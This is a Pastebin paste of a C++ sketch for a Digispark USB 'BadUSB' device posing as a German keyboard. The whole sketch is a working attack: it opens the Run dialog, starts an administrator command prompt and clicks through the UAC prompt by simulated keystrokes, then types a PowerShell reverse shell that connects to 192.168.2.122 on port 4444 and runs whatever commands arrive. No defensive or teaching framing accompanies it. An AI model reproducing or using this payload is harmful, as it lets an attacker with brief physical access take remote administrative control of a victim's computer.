Advertisement
Farliam

Reverse TCP Connection

Jun 1st, 2022
1,197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.32 KB | None | 0 0
  1. #include "GermanLayout.h"
  2.  
  3. #define KEY_TAB 0x2b
  4.  
  5. void setup() {
  6.     DigiKeyboard.delay(500);
  7.     pinMode(1, OUTPUT);
  8. }
  9.  
  10. void StartAdminCMD(){
  11.   DigiKeyboardDe.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  12.   DigiKeyboard.delay(500);
  13.   DigiKeyboardDe.println("powershell  Start-Process cmd -Verb runAs");
  14.   DigiKeyboard.delay(1500);
  15.   DigiKeyboardDe.sendKeyStroke(KEY_ARROW_LEFT);
  16.   DigiKeyboard.delay(500);
  17.   DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
  18. }
  19.  
  20.  
  21. void loop() {
  22.   DigiKeyboard.update();
  23.   DigiKeyboardDe.sendKeyStroke(0);
  24.  
  25.   StartAdminCMD();
  26.  
  27.   DigiKeyboard.delay(1000);
  28.   DigiKeyboardDe.println(F("powershell -command \"$client = New-Object System.Net.Sockets.TCPClient('192.168.2.122',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd) + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""));
  29.   DigiKeyboard.delay(5000);
  30.   digitalWrite(1, HIGH);
  31.   DigiKeyboard.delay(90000);
  32.   digitalWrite(1, LOW);
  33.   DigiKeyboard.delay(5000);
  34. }
  35.  
  36. //Remove .Path from (path)+
  37. //-windowstyle Maximized
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement